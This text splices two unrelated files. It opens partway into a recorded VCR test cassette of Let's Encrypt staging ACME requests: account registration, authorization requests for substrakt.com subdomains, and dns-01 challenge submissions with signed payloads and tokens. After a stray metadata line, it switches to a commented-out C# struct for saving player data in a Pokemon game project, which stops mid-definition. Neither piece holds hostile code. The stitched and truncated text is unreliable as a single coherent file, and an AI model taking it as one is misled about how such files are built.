AxNi5wZGYifQ","signature":"AvhEYkxjVEOQjJ-mntlyW0LwYbqP6u4vgZ3QdyxUMClS9tTGA4RHPOh9Y5ZzMoLEVnf5U-K_Cd5mXWrx_gUcL5RPkMEbbCNu3HEADrCVDD2G37lrp1qrUMTZa_hhV7ID4wHQGTBBYItLzwrHSVW4dU-Q93so_J7rs67jbvTfNfXdwb41q8z4zhONisvuNTmCjArKJFKgkhtwHtWxDA4ppy5xMrnfIBeCzPeHMqmpHHGeu7WxgJT_DsxIq6NluZ25GAEGaQSbr5khMj9v1qmxiiMRbDXrE94iiU9m2puquLRpqK9bmGdGHP9EJhyq84hA4lQMhOkBcm1I4NX4j50o08CKI1Ed-8hkP_wSeArbsLmdInhwp1a8aJkqaoNgXE2iF6EY7dOheTvmNNNEb-tQoCJyJQeLrF4t0B8aYwCfJbFhwzAe4N6LBktX8Z4lJsrAEgqrYRvmw2wiBGLlZCVHtkweXOCAONrBSGW1K0Wd57NKpvnHCnoFFQOA96DaW_m-7QhCC_VBhvHZ5e1nBAPsWgX1RAgE3rm7DATgBlOKz3iuJAxiWAS-IRqfJkhFxzfnm5Dh7I-x5Ycx_G8ChfUtpTRG3kIll8fzBKCVzMgx7p1-M8djfDqwqju0YmnT9CkwxtxKD6AmQQgZSaa42c6ht_Zs-98ZJaYbdlHGvMo0rzQ"}'
headers:
User-Agent:
- Acme::Client v0.3.7 (https://github.com/unixcharles/acme-client)
Accept-Encoding:
- gzip;q=1.0,deflate;q=0.6,identity;q=0.3
Accept:
- "*/*"
response:
status:
code: 202
message: Accepted
headers:
Server:
- nginx
Content-Type:
- application/json
Content-Length:
- '987'
Boulder-Request-Id:
- qnKTD1bn6wPUM-zQjTE4QnoZpbg2tCcvYH6v2DfnSKQ
Boulder-Requester:
- '496458'
Link:
- <https://acme-staging.api.letsencrypt.org/acme/new-authz>;rel="next"
- <https://letsencrypt.org/documents/LE-SA-v1.1.1-August-1-2016.pdf>;rel="terms-of-service"
Replay-Nonce:
- Ddhii7MdLe0vMbUaDhoFV5srVOks5updsJ5GRZDurks
Expires:
- Tue, 15 Nov 2016 15:46:15 GMT
Cache-Control:
- max-age=0, no-cache, no-store
Pragma:
- no-cache
Date:
- Tue, 15 Nov 2016 15:46:15 GMT
Connection:
- keep-alive
body:
encoding: UTF-8
string: |-
{
"id": 496458,
"key": {
"kty": "RSA",
"n": "1Do9juCnGTI5kcXVEuEmbqQkcJ2LoOaINKDiWgBJXbwSoZcy1XDeVuSF6GHnRg_gpWI2eNLWWbrU2lG_yOlBlXFzC8Ze99atUESUgWqesmCPQIBaWKlD2aAcsngGd84Y3iGE1eBabTKWpngNAkl4Ui_klNB4oNI4SbAW200aUa4JT6cR3_q8e_EbGiEobAUxFdBm_B4M0pgDIZgyDWgaha6gEl-uxgLfBw926vP8iPjfyVdZemUAF7qK33eIxwWMxBIN_mc3i9-dAvggcDMwhG0ZflYBLvBVFY-7VNjcV78-4Vj95qtGBB99f6w5RIhwAWtRb1Dj1nzlmbfdB42arKhORgNyWK16aPSothKPpWMSOOUs_AnnpMQ8pWi_WZn_RIMqn6GpDn5SilBk2q9Z5bpeRNsMsRAF8GL4wRAFdnAE8S5a7rNCVMwlDJMCbZOOSVOkVI6Ryvur5J2j3mDHzkqQw5ZhcOyHpAEkVG95aPB5azvGidYsW7-NlNVywg857bG3rt0QRU0XCpRdFaFlPzxpcvv2VO3vGdsN77GtRmHrcqbUktTsCN_jd99QMIOUKRBVPagdy7lSFnMBsW5xPO0fXvzqwKva717WRWYYPBxbAC03gBph-elNc02tjf10axRZQ75F4P4bI24BC74wwFwAufjQwi77xvVipXwrgo8",
"e": "AQAB"
},
"contact": [
"mailto:[email protected]"
],
"agreement": "https://letsencrypt.org/documents/LE-SA-v1.1.1-August-1-2016.pdf",
"initialIp": "213.123.191.198",
"createdAt": "2016-11-15T15:46:15Z",
"Status": ""
}
http_version:
recorded_at: Tue, 15 Nov 2016 15:46:15 GMT
- request:
method: post
uri: https://acme-staging.api.letsencrypt.org/acme/new-authz
body:
encoding: UTF-8
string: '{"protected":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIm5vbmNlIjoiRGRoaWk3TWRMZTB2TWJVYURob0ZWNXNyVk9rczV1cGRzSjVHUlpEdXJrcyIsImp3ayI6eyJrdHkiOiJSU0EiLCJlIjoiQVFBQiIsIm4iOiIxRG85anVDbkdUSTVrY1hWRXVFbWJxUWtjSjJMb09hSU5LRGlXZ0JKWGJ3U29aY3kxWERlVnVTRjZHSG5SZ19ncFdJMmVOTFdXYnJVMmxHX3lPbEJsWEZ6QzhaZTk5YXRVRVNVZ1dxZXNtQ1BRSUJhV0tsRDJhQWNzbmdHZDg0WTNpR0UxZUJhYlRLV3BuZ05Ba2w0VWlfa2xOQjRvTkk0U2JBVzIwMGFVYTRKVDZjUjNfcThlX0ViR2lFb2JBVXhGZEJtX0I0TTBwZ0RJWmd5RFdnYWhhNmdFbC11eGdMZkJ3OTI2dlA4aVBqZnlWZFplbVVBRjdxSzMzZUl4d1dNeEJJTl9tYzNpOS1kQXZnZ2NETXdoRzBaZmxZQkx2QlZGWS03Vk5qY1Y3OC00Vmo5NXF0R0JCOTlmNnc1Uklod0FXdFJiMURqMW56bG1iZmRCNDJhcktoT1JnTnlXSzE2YVBTb3RoS1BwV01TT09Vc19Bbm5wTVE4cFdpX1dabl9SSU1xbjZHcERuNVNpbEJrMnE5WjVicGVSTnNNc1JBRjhHTDR3UkFGZG5BRThTNWE3ck5DVk13bERKTUNiWk9PU1ZPa1ZJNlJ5dnVyNUoyajNtREh6a3FRdzVaaGNPeUhwQUVrVkc5NWFQQjVhenZHaWRZc1c3LU5sTlZ5d2c4NTdiRzNydDBRUlUwWENwUmRGYUZsUHp4cGN2djJWTzN2R2RzTjc3R3RSbUhyY3FiVWt0VHNDTl9qZDk5UU1JT1VLUkJWUGFnZHk3bFNGbk1Cc1c1eFBPMGZYdnpxd0t2YTcxN1dSV1lZUEJ4YkFDMDNnQnBoLWVsTmMwMnRqZjEwYXhSWlE3NUY0UDRiSTI0QkM3NHd3RndBdWZqUXdpNzd4dlZpcFh3cmdvOCJ9fQ","payload":"eyJyZXNvdXJjZSI6Im5ldy1hdXRoeiIsImlkZW50aWZpZXIiOnsidHlwZSI6ImRucyIsInZhbHVlIjoibWF4MTIzLnN1YnN0cmFrdC5jb20ifX0","signature":"KmjCHZlVilMRHCzXvGiR6iNNeB1jdAZXOQ4dmfZ7SzZb7uYJ-BpDZsmiyi9JTBMfwUiDP_nzs2T_mDu6asju3tB4QfAFa0tJ6Zf0tMrekbHZ9affXPkjhHinwJzLQO_xDpaLYVhBQaiDRvViZXxsTms_aoLC0Yna7z1cfTzTJVS3BAkJthScZVvERiG7lu7-9KXGlECGZ_eAbNEw5w3_LMlcp8GekrkauE_CsD6pk89UpBZsifEx3s43Kc_2JTzlvu8q7I49qb-yzPPCeIQzfsZgejYo7WAjaiKxdNEDkYmRFqQ0eIkxAUS4jL12HUCZPUg9zGKyEiCgM1XryzzxQUGjpaPe3x5wZvzCjZAWLFRnurAg5Lb0Kt7vVbFAm9u_JnuUZIhy_McuuEygaznlD4TwrB9Uj4bMAt5ojunJ1Za4FoBiWv0lBBCET_tXvcqpihhBJDmtcu3vIHGPw1A8JMNtWq866_ZcyAPOGDvdZ8nqfWYlXj-dWWn9nnh6FuU4A2nX2Ah8VSjPLn5yb5t8r09QqUP1McIvEPjbXRVBDd-RWpUF5WxHk_Hdv92QghBC0oiubl6OIKsdMI-LR6Cg2Lz6zZ5FNKtTi3mOAiabkrCIa_WaHPvOGJjY5TxJ5ZapiPFumOPEFn6RvH_DIoAyZt4nvp2Dih8qyfCgnW9uDS4"}'
headers:
User-Agent:
- Acme::Client v0.3.7 (https://github.com/unixcharles/acme-client)
Accept-Encoding:
- gzip;q=1.0,deflate;q=0.6,identity;q=0.3
Accept:
- "*/*"
response:
status:
code: 201
message: Created
headers:
Server:
- nginx
Content-Type:
- application/json
Content-Length:
- '1014'
Boulder-Request-Id:
- I3QcSfw6e0xnSzDJlth0unfyyFy_ToHko1ItfHnt7tk
Boulder-Requester:
- '496458'
Link:
- <https://acme-staging.api.letsencrypt.org/acme/new-cert>;rel="next"
Location:
- https://acme-staging.api.letsencrypt.org/acme/authz/ctY8Ec4RD9-PXKZ3GGHUzE0KZa3ZK1qMttqrcrvC8eA
Replay-Nonce:
- lKBMz3-TXfdoUpm2Httav2KfyP0wBPqKx7i3Mh5qsgg
X-Frame-Options:
- DENY
Strict-Transport-Security:
- max-age=604800
Expires:
- Tue, 15 Nov 2016 15:46:16 GMT
Cache-Control:
- max-age=0, no-cache, no-store
Pragma:
- no-cache
Date:
- Tue, 15 Nov 2016 15:46:16 GMT
Connection:
- keep-alive
body:
encoding: UTF-8
string: |-
{
"identifier": {
"type": "dns",
"value": "max123.substrakt.com"
},
"status": "pending",
"expires": "2016-11-22T15:46:16.199698302Z",
"challenges": [
{
"type": "tls-sni-01",
"status": "pending",
"uri": "https://acme-staging.api.letsencrypt.org/acme/challenge/ctY8Ec4RD9-PXKZ3GGHUzE0KZa3ZK1qMttqrcrvC8eA/16907312",
"token": "EnEXB2bmoTixJVBYDIXE-tRXtts-8O_3xEv4WScDYjw"
},
{
"type": "dns-01",
"status": "pending",
"uri": "https://acme-staging.api.letsencrypt.org/acme/challenge/ctY8Ec4RD9-PXKZ3GGHUzE0KZa3ZK1qMttqrcrvC8eA/16907313",
"token": "zQBMXxIfbK4yB7x8SGjwY1cQBN3LbrwehmJe3p0vCiM"
},
{
"type": "http-01",
"status": "pending",
"uri": "https://acme-staging.api.letsencrypt.org/acme/challenge/ctY8Ec4RD9-PXKZ3GGHUzE0KZa3ZK1qMttqrcrvC8eA/16907314",
"token": "3Rts0qQ7_aTdD5JI0oEIemllfKZhZytQn7bOUmNuVZM"
}
],
"combinations": [
[
0
],
[
1
],
[
2
]
]
}
http_version:
recorded_at: Tue, 15 Nov 2016 15:46:16 GMT
- request:
method: post
uri: https://acme-staging.api.letsencrypt.org/acme/new-authz
body:
encoding: UTF-8
string: '{"protected":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIm5vbmNlIjoibEtCTXozLVRYZmRvVXBtMkh0dGF2MktmeVAwd0JQcUt4N2kzTWg1cXNnZyIsImp3ayI6eyJrdHkiOiJSU0EiLCJlIjoiQVFBQiIsIm4iOiIxRG85anVDbkdUSTVrY1hWRXVFbWJxUWtjSjJMb09hSU5LRGlXZ0JKWGJ3U29aY3kxWERlVnVTRjZHSG5SZ19ncFdJMmVOTFdXYnJVMmxHX3lPbEJsWEZ6QzhaZTk5YXRVRVNVZ1dxZXNtQ1BRSUJhV0tsRDJhQWNzbmdHZDg0WTNpR0UxZUJhYlRLV3BuZ05Ba2w0VWlfa2xOQjRvTkk0U2JBVzIwMGFVYTRKVDZjUjNfcThlX0ViR2lFb2JBVXhGZEJtX0I0TTBwZ0RJWmd5RFdnYWhhNmdFbC11eGdMZkJ3OTI2dlA4aVBqZnlWZFplbVVBRjdxSzMzZUl4d1dNeEJJTl9tYzNpOS1kQXZnZ2NETXdoRzBaZmxZQkx2QlZGWS03Vk5qY1Y3OC00Vmo5NXF0R0JCOTlmNnc1Uklod0FXdFJiMURqMW56bG1iZmRCNDJhcktoT1JnTnlXSzE2YVBTb3RoS1BwV01TT09Vc19Bbm5wTVE4cFdpX1dabl9SSU1xbjZHcERuNVNpbEJrMnE5WjVicGVSTnNNc1JBRjhHTDR3UkFGZG5BRThTNWE3ck5DVk13bERKTUNiWk9PU1ZPa1ZJNlJ5dnVyNUoyajNtREh6a3FRdzVaaGNPeUhwQUVrVkc5NWFQQjVhenZHaWRZc1c3LU5sTlZ5d2c4NTdiRzNydDBRUlUwWENwUmRGYUZsUHp4cGN2djJWTzN2R2RzTjc3R3RSbUhyY3FiVWt0VHNDTl9qZDk5UU1JT1VLUkJWUGFnZHk3bFNGbk1Cc1c1eFBPMGZYdnpxd0t2YTcxN1dSV1lZUEJ4YkFDMDNnQnBoLWVsTmMwMnRqZjEwYXhSWlE3NUY0UDRiSTI0QkM3NHd3RndBdWZqUXdpNzd4dlZpcFh3cmdvOCJ9fQ","payload":"eyJyZXNvdXJjZSI6Im5ldy1hdXRoeiIsImlkZW50aWZpZXIiOnsidHlwZSI6ImRucyIsInZhbHVlIjoibWF4MzQ1LnN1YnN0cmFrdC5jb20ifX0","signature":"NzTJhYTskm6GY2YxngrPKpgqrserGrxlnNBh6NeZXPgTqEou_8jGrTGu2zkrNPuW-_ZVHqeEcZFi4eo733F3zgH3QSexn6OCgkxLvTlXFdZaQCUBC5tjUzaMTJkJubOKdW7L_wGVKzrC48K2DfpMvhMr6bwoJMnFdr-sqVmzXzMmMPLfI3S_LwShfpwQsCuTL5OnvW2QVFinldPZ9vuCpaUycLUKiCmBoR7SB901Zqk8WfnPuc1kjG6BFO_tz0_yXwc04p295poQkKO7zmQ5LKlnhHVLc6jVzf1fRpn3ivB-DF0QXX_h4-uUfkbvO-C8d5eSE_vIGPOj3TdpuxgP9ree_16KCBZT2jObkypyd2c14v04QnaMgVSsB4Y3CtKOaXJJKP6SPvvGkvVogBi7jPr4cUMETpYnKpB9cc9mpxh_o-DYwsYk5iN0qfJ3g68iugJqEu0ylZIMyJm-o_6RtpfcI8X23mvNNvPLrOqjRVnpBqmekzUSQhTJtvgSOMlEDceZFOWlrnpYUsLCQPVrsCxH0-VdrTy8Jy0YgzgmCm_NkJytMSvnwJJEm7vEcFMMAFzs7q0Zv4ZWxtGAw7l9v2FzxFmQk34z4hEixigUBBpUIMr8uRnRxQX01RhRORFQO32ehONgaRkKI3Z4tQNpFE3vrBVVbovsVH06s7IdHIg"}'
headers:
User-Agent:
- Acme::Client v0.3.7 (https://github.com/unixcharles/acme-client)
Accept-Encoding:
- gzip;q=1.0,deflate;q=0.6,identity;q=0.3
Accept:
- "*/*"
response:
status:
code: 201
message: Created
headers:
Server:
- nginx
Content-Type:
- application/json
Content-Length:
- '1014'
Boulder-Request-Id:
- VEU2JJJdMp7ozI4vcb4CwaYfIX2orQZBILuseY1VpbU
Boulder-Requester:
- '496458'
Link:
- <https://acme-staging.api.letsencrypt.org/acme/new-cert>;rel="next"
Location:
- https://acme-staging.api.letsencrypt.org/acme/authz/73OZWvTewlUC30b61mXrF2xJCEfzRPseCeoDRVlziTs
Replay-Nonce:
- ESdacN7K7N4cGsxt93hXld8gmfR3bVdMgtF3OAJTSo8
X-Frame-Options:
- DENY
Strict-Transport-Security:
- max-age=604800
Expires:
- Tue, 15 Nov 2016 15:46:16 GMT
Cache-Control:
- max-age=0, no-cache, no-store
Pragma:
- no-cache
Date:
- Tue, 15 Nov 2016 15:46:16 GMT
Connection:
- keep-alive
body:
encoding: UTF-8
string: |-
{
"identifier": {
"type": "dns",
"value": "max345.substrakt.com"
},
"status": "pending",
"expires": "2016-11-22T15:46:16.687589597Z",
"challenges": [
{
"type": "http-01",
"status": "pending",
"uri": "https://acme-staging.api.letsencrypt.org/acme/challenge/73OZWvTewlUC30b61mXrF2xJCEfzRPseCeoDRVlziTs/16907315",
"token": "txt7p7ltlryvInmMgKcFDMwsZzw2D3WFIShKc3CTh6o"
},
{
"type": "dns-01",
"status": "pending",
"uri": "https://acme-staging.api.letsencrypt.org/acme/challenge/73OZWvTewlUC30b61mXrF2xJCEfzRPseCeoDRVlziTs/16907316",
"token": "YT1tK76nDb-r8rQ3meOKGUC23bvzePeWE4x5-agSdY8"
},
{
"type": "tls-sni-01",
"status": "pending",
"uri": "https://acme-staging.api.letsencrypt.org/acme/challenge/73OZWvTewlUC30b61mXrF2xJCEfzRPseCeoDRVlziTs/16907317",
"token": "7RLAuVQtFy_xzbumHA1_Zo4objeOcLfVyHZezkN0Stw"
}
],
"combinations": [
[
1
],
[
2
],
[
0
]
]
}
http_version:
recorded_at: Tue, 15 Nov 2016 15:46:16 GMT
- request:
method: post
uri: https://acme-staging.api.letsencrypt.org/acme/challenge/ctY8Ec4RD9-PXKZ3GGHUzE0KZa3ZK1qMttqrcrvC8eA/16907313
body:
encoding: UTF-8
string: '{"protected":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIm5vbmNlIjoiRVNkYWNON0s3TjRjR3N4dDkzaFhsZDhnbWZSM2JWZE1ndEYzT0FKVFNvOCIsImp3ayI6eyJrdHkiOiJSU0EiLCJlIjoiQVFBQiIsIm4iOiIxRG85anVDbkdUSTVrY1hWRXVFbWJxUWtjSjJMb09hSU5LRGlXZ0JKWGJ3U29aY3kxWERlVnVTRjZHSG5SZ19ncFdJMmVOTFdXYnJVMmxHX3lPbEJsWEZ6QzhaZTk5YXRVRVNVZ1dxZXNtQ1BRSUJhV0tsRDJhQWNzbmdHZDg0WTNpR0UxZUJhYlRLV3BuZ05Ba2w0VWlfa2xOQjRvTkk0U2JBVzIwMGFVYTRKVDZjUjNfcThlX0ViR2lFb2JBVXhGZEJtX0I0TTBwZ0RJWmd5RFdnYWhhNmdFbC11eGdMZkJ3OTI2dlA4aVBqZnlWZFplbVVBRjdxSzMzZUl4d1dNeEJJTl9tYzNpOS1kQXZnZ2NETXdoRzBaZmxZQkx2QlZGWS03Vk5qY1Y3OC00Vmo5NXF0R0JCOTlmNnc1Uklod0FXdFJiMURqMW56bG1iZmRCNDJhcktoT1JnTnlXSzE2YVBTb3RoS1BwV01TT09Vc19Bbm5wTVE4cFdpX1dabl9SSU1xbjZHcERuNVNpbEJrMnE5WjVicGVSTnNNc1JBRjhHTDR3UkFGZG5BRThTNWE3ck5DVk13bERKTUNiWk9PU1ZPa1ZJNlJ5dnVyNUoyajNtREh6a3FRdzVaaGNPeUhwQUVrVkc5NWFQQjVhenZHaWRZc1c3LU5sTlZ5d2c4NTdiRzNydDBRUlUwWENwUmRGYUZsUHp4cGN2djJWTzN2R2RzTjc3R3RSbUhyY3FiVWt0VHNDTl9qZDk5UU1JT1VLUkJWUGFnZHk3bFNGbk1Cc1c1eFBPMGZYdnpxd0t2YTcxN1dSV1lZUEJ4YkFDMDNnQnBoLWVsTmMwMnRqZjEwYXhSWlE3NUY0UDRiSTI0QkM3NHd3RndBdWZqUXdpNzd4dlZpcFh3cmdvOCJ9fQ","payload":"eyJyZXNvdXJjZSI6ImNoYWxsZW5nZSIsInR5cGUiOiJkbnMtMDEiLCJrZXlBdXRob3JpemF0aW9uIjoielFCTVh4SWZiSzR5Qjd4OFNHandZMWNRQk4zTGJyd2VobUplM3AwdkNpTS5OX2hyNWE0NFJMa05RTnYwVmpWZjg4N2JMTXdIdV80ZGxtbFJHUzZGcTE0In0","signature":"j58pSMGPWvOW_B58YRYc6-mnlNSs_Fuk4mN-BvNdgzWJpRTj-edy4kIY3DUgXGvv8QqwMgYpupQ-UinGlmZltUOWeWo97h2UyysrdrK8hosFQXbvn53olDAZgeNzmX4Yfapg8sl7F-k87-BFC9lmx6up3ae3yTnQtIsbgzma5rR-XMCdRc3JhB_MRVYC7ARqo05E-C8G6Y2Keh3wMWQXC27jz3-J5KJcqLGV3zHerAU1rVIVYQ7-RZY8VV8-IFbOVDn1iDUQIUqL6VusZt6vKGbYa8FNrtFyYTxSmNEIu6kN0lciEaK1s7Dk2_ewRvpgx6ZIzPc7espc8jVk_37eaPABozCXm_xYH_V3qOM3x3hUQLX-gBW-1WHVTjWdTIlozPU_PXMH0KDistScvh40i1snQOVR68SOK0lnlkUrsx6KRpdfhBesBIIEFLIqf1x_OicxZJCmwCANEaYfoUgeAlVcOECBiLwLQ4-mDVf5tll3AQgsgyay7AcN0hEIK-FilJV8EjWGhcu9EvqQmmL6WDcZFR-Xhkkk7hX2IsHBBIV4r0ndmwCjXvwyD_mbcccGTpodreFOZaQo6Jh0TBKNb7Csp1lZ3oE5Qgntfn6tQ0NO8AzwSwzzGkwrQ0vJd9hVw6JXhYUua5WvDGmy-_v0Rw5if3Sh8qfOYGTiUHTvhfk"}'
headers:
User-Agent:
- Acme::Client v0.3.7 (https://github.com/unixcharles/acme-client)
Accept-Encoding:
- gzip;q=1.0,deflate;q=0.6,identity;q=0.3
Accept:
- "*/*"
response:
status:
code: 202
message: Accepted
headers:
Server:
- nginx
Content-Type:
- application/json
Content-Length:
- '337'
Boulder-Request-Id:
- QjyAxDtEOsuYLCxuzOQ7vH-aNhHy4KFlPJPlAurITvg
Boulder-Requester:
- '496458'
Link:
- <https://acme-staging.api.letsencrypt.org/acme/authz/ctY8Ec4RD9-PXKZ3GGHUzE0KZa3ZK1qMttqrcrvC8eA>;rel="up"
Location:
- https://acme-staging.api.letsencrypt.org/acme/challenge/ctY8Ec4RD9-PXKZ3GGHUzE0KZa3ZK1qMttqrcrvC8eA/16907313
Replay-Nonce:
- RtdEWhFlBtAHmgmOoIDjqHL1C3wOdAC4Kg2Z1NtB80E
Expires:
- Tue, 15 Nov 2016 15:47:17 GMT
Cache-Control:
- max-age=0, no-cache, no-store
Pragma:
- no-cache
Date:
- Tue, 15 Nov 2016 15:47:17 GMT
Connection:
- keep-alive
body:
encoding: UTF-8
string: |-
{
"type": "dns-01",
"status": "pending",
"uri": "https://acme-staging.api.letsencrypt.org/acme/challenge/ctY8Ec4RD9-PXKZ3GGHUzE0KZa3ZK1qMttqrcrvC8eA/16907313",
"token": "zQBMXxIfbK4yB7x8SGjwY1cQBN3LbrwehmJe3p0vCiM",
"keyAuthorization": "zQBMXxIfbK4yB7x8SGjwY1cQBN3LbrwehmJe3p0vCiM.N_hr5a44RLkNQNv0VjVf887bLMwHu_4dlmlRGS6Fq14"
}
http_version:
recorded_at: Tue, 15 Nov 2016 15:47:17 GMT
- request:
method: post
uri: https://acme-staging.api.letsencrypt.org/acme/challenge/73OZWvTewlUC30b61mXrF2xJCEfzRPseCeoDRVlziTs/16907316
body:
encoding: UTF-8
string: '{"protected":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIm5vbmNlIjoiUnRkRVdoRmxCdEFIbWdtT29JRGpxSEwxQzN3T2RBQzRLZzJaMU50QjgwRSIsImp3ayI6eyJrdHkiOiJSU0EiLCJlIjoiQVFBQiIsIm4iOiIxRG85anVDbkdUSTVrY1hWRXVFbWJxUWtjSjJMb09hSU5LRGlXZ0JKWGJ3U29aY3kxWERlVnVTRjZHSG5SZ19ncFdJMmVOTFdXYnJVMmxHX3lPbEJsWEZ6QzhaZTk5YXRVRVNVZ1dxZXNtQ1BRSUJhV0tsRDJhQWNzbmdHZDg0WTNpR0UxZUJhYlRLV3BuZ05Ba2w0VWlfa2xOQjRvTkk0U2JBVzIwMGFVYTRKVDZjUjNfcThlX0ViR2lFb2JBVXhGZEJtX0I0TTBwZ0RJWmd5RFdnYWhhNmdFbC11eGdMZkJ3OTI2dlA4aVBqZnlWZFplbVVBRjdxSzMzZUl4d1dNeEJJTl9tYzNpOS1kQXZnZ2NETXdoRzBaZmxZQkx2QlZGWS03Vk5qY1Y3OC00Vmo5NXF0R0JCOTlmNnc1Uklod0FXdFJiMURqMW56bG1iZmRCNDJhcktoT1JnTnlXSzE2YVBTb3RoS1BwV01TT09Vc19Bbm5wTVE4cFdpX1dabl9SSU1xbjZHcERuNVNpbEJrMnE5WjVicGVSTnNNc1JBRjhHTDR3UkFGZG5BRThTNWE3ck5DVk13bERKTUNiWk9PU1ZPa1ZJNlJ5dnVyNUoyajNtREh6a3FRdzVaaGNPeUhwQUVrVkc5NWFQQjVhenZHaWRZc1c3LU5sTlZ5d2c4NTdiRzNydDBRUlUwWENwUmRGYUZsUHp4cGN2djJWTzN2R2RzTjc3R3RSbUhyY3FiVWt0VHNDTl9qZDk5UU1JT1VLUkJWUGFnZHk3bFNGbk1Cc1c1eFBPMGZYdnpxd0t2YTcxN1dSV1lZUEJ4YkFDMDNnQnBoLWVsTmMwMnRqZjEwYXhSWlE3NUY0UDRiSTI0QkM3NHd3RndBdWZqUXdpNzd4dlZpcFh3cmdvOCJ9fQ","payload":"eyJyZXNvdXJjZSI6ImNoYWxsZW5nZSIsInR5cGUiOiJkbnMtMDEiLCJrZXlBdXRob3JpemF0aW9uIjoiWVQxdEs3Nm5EYi1yOHJRM21lT0tHVUMyM2J2emVQZVdFNHg1LWFnU2RZOC5OX2hyNWE0NFJMa05RTnYwVmpWZjg4N2JMTXdIdV80ZGxtbFJHUzZGcTE0In0","signature":"HTiNBDed0FvKKeEcSzYFMv4k4BFojZVjjSipO2Fw4sFzGeIEHN859QWc9benSi3Wry-wO2Z_-X9jJ-EmmSzf5GaqtziCJ0_jDJnqOogbFwhPqa7esoQsEpPDdLIwEofcxoFLLOFzv57DZCS74vKvwJfEqzzhuJ7M258B5khM4_I7Ccs4_aQMVIu0VuXcwhNo4O1MNJPi4PDktUJNbhdxVLs4v1EQu6o4OZ20xQ0MeAhZxXXD_cj2NXW-h5SeeomA578_6g4VkFz3ImIae97nvyTczIWpsvc6TAdFg6lFl0TTPB6nk92p56uZnoUS8a9qlL0hOu2Yv_OS1FQYHWIVNWJuEmNIea6wfP8ph6nifTI-PQJDdqrsfjKHoF7bfULMQeVUpX_qSzBzzH78yfu7J75OTme27Ev6viIeY7lzZmQoC_p-uAKQ6Zlc0GHJjf_pSZWUzCl0Gox_ts7isEloV6QU4uIEhpdIDELa9IRWlh4GEXYOXH7_mZeUeQBfTeOd2RuFqz7YJw_VQTrABRuilRB2ZXkAQgift2Eg2aGiadtXD45uS_ubF-PvSzd2DunWF5_l6FHKdIx3wPJgTxzLBC_2JjPx-p57a9InNRGMnoibwdF6dLcIa2wttAoNOvQuTwVvrX6BHdo-b9_RKN8Aao89m0ErG3TuSS8D5NuFKJc"}'
headers:
User-Agent:
- Acme::Client v0.3.7 (https://github.com/unixcharles/acme-client)
Accept-Encoding:
- gzip;q=1.0,deflate;q=0.6,identity;q=0.3
Accept:
- "*/*"
response:
status:
code: 202
message: Accepted
headers:
Server:
- nginx
Content-Type:
- application/json
Content-Length:
- '337'
Boulder-Request-Id:
- pfGTVYusiY_H_BCLg5gWWWZDG0nmCTXmd5Q578bkD5I
Boulder-Requester:
- '496458'
Link:
- <https://acme-staging.api.letsencrypt.org/acme/authz/73OZWvTewlUC30b61mXrF2xJCEfzRPseCeoDRVlziTs>;rel="up"
Location:
- https://acme-staging.api.letsencrypt.org/acme/challenge/73OZWvTewlUC30b61mXrF2xJCEfzRPseCeoDRVlziTs/16907316
Replay-Nonce:
- FdlcZQJqCNxrXorMHyNvQzVf3TeVXQSr9j-w_APIyV4
Expires:
- Tue, 15 Nov 2016 15:47:18 GMT
Cache-Control:
- max-age=0, no-cache, no-store
Pragma:
- no-cache
Date:
- Tue, 15 Nov 2016 15:47:18 GMT
Connection:
- keep-alive
body:
encoding: UTF-8
string: |-
{
"type": "dns-01",
"status": "pending",
"uri": "https://acme-staging.api.letsencrypt.org/acme/challenge/73OZWvTewlUC30b61mXrF2xJCEfzRPseCeoDRVlziTs/16907316",
"token": "YT1tK76nDb-r8rQ3meOKGUC23bvzePeWE4x5-agSdY8",
"keyAuthorization": "YT1tK76nDb-r8rQ3meOKGUC23bvzePeWE4x5-agSdY8.N_hr5a44RLkNQNv0VjVf887bLMwHu_4dlmlRGS6Fq14"
}
http_version:
recorded_at: Tue, 15 Nov 2016 15:47:18 GMT
recorded_with: VCR 3.0.3
| {
"pile_set_name": "Github"
} |
/*namespace PokemonUnity.Saving.SerializableClasses
{
using System;
using System.Collections.Generic;
using PokemonUnity.Inventory;
using PokemonUnity.Monster;
using PokemonUnity.Utility;
[System.Serializable]
public struct SeriPlayer
{
#region Variables
/// <summary>
/// Please use the values stored in <see cref="Trainer.TrainerID"/>
/// </summary>
private uint trainerId { get; set; }
/// <summary>
/// Please use the values stored in <see cref="Trainer.SecretID"/>
/// </summary>
private uint secretId { get; set; }
public string Name { get; private set; }
public bool IsMale { get; private set; }
/// <summary>
/// Player's Pokemon Party is stored in Player class,
/// and then reflected in Trainer, to match what occurs
/// </summary>
/// Didn't think about it it till now but the player should
/// hold the `Trainer` data, and instantiate a new Trainer
/// whenever it's needed...
public SeriPokemon[] Party { get; private set; }
/// <summary>
/// When displaying items in bag, do a foreach loop and filter by item category
/// </summary>
public Items[] Bag { get; private set; }
public SeriPC PC { get; private set; }
#region Player and Overworld Data
public Regions Region { get; private set; }
public Locations Location { get; private set; }
/// <summary>
/// </summary>
public int Area { get; private set; }
public Vector Position { get; set; }
/// <summary>
/// Last town or Pokemon Center visited, that's used as Respawn Point upon a Player's Defeat
/// </summary>
public Locations Checkpoint { get; set; }
//public Locations respawnCenterId { get; set; }
//public SeriV3 respawnScenePosition;
public int RepelSteps { get; set; }
public byte FollowPokemon { get; set; }
#endregion
#region Private Records of Player Storage Data
public bool IsCreator { get; private set; }
//ToDo: Berry Field Data (0x18 per tree, 36 trees)
//ToDo: Honey Tree, smearing honey on tree will spawn pokemon in 6hrs, for 24hrs (21 trees)
//Honey tree timer is done in minutes (1440, spawns at 1080), only goes down while playing...
//ToDo: Missing Variable for DayCare, maybe `Pokemon[,]` for multipe locations?
//Daycare Data
//(Slot 1) Occupied Flag
//(Slot 1) Steps Taken Since Depositing
//(Slot 1) Box EK6 1
//(Slot 2) Occupied Flag
//(Slot 2) Steps Taken Since Depositing2
//(Slot 2) Box EK6 2
//Flag (egg available)
//RNG Seed
//ToDo: a bool variable for PC background (if texture is unlocked) `bool[]`
public static string PlayerItemData { get; set; }
public static string PlayerDayCareData { get; set; } //KeyValuePair<Pokemon,steps>[]
public static string PlayerBerryData { get; set; }
public static string PlayerNPCData { get; set; }
public static string PlayerApricornData { get; set; }
#endregion
#region Player Records
public string RivalName { get; private set; }
/// <summary>
/// </summary>
public int Money { get; private set; }
public int Coins { get; private set; }
public int Savings { get; private set; }
